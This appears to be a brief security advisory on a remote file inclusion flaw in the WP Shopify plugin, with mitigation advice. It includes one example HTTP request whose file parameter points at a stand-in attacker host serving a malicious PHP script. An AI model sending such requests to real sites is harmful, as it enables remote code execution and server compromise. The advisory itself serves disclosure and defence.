How the Exploit Works
The vulnerability is due to improper control of a filename that is used in a PHP include/require statement in the WP Shopify application. This allows an attacker to manipulate the input to the filename argument and include a file from a remote server. This can lead to code execution on the target server, leading to potential system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. In this example, the attacker sends a crafted HTTP request to a vulnerable endpoint. This request includes a malicious payload that triggers the PHP Remote File Inclusion vulnerability.
GET /vulnerable/endpoint?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: target.example.comThis request, when processed by the vulnerable server, would essentially run the malicious PHP script on the target server, thereby compromising it.
Mitigation
To mitigate this vulnerability, it’s recommended to apply the vendor patch once available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Additionally, it’s recommended to limit the input to the filename argument in the PHP include/require statement to locally available files only.
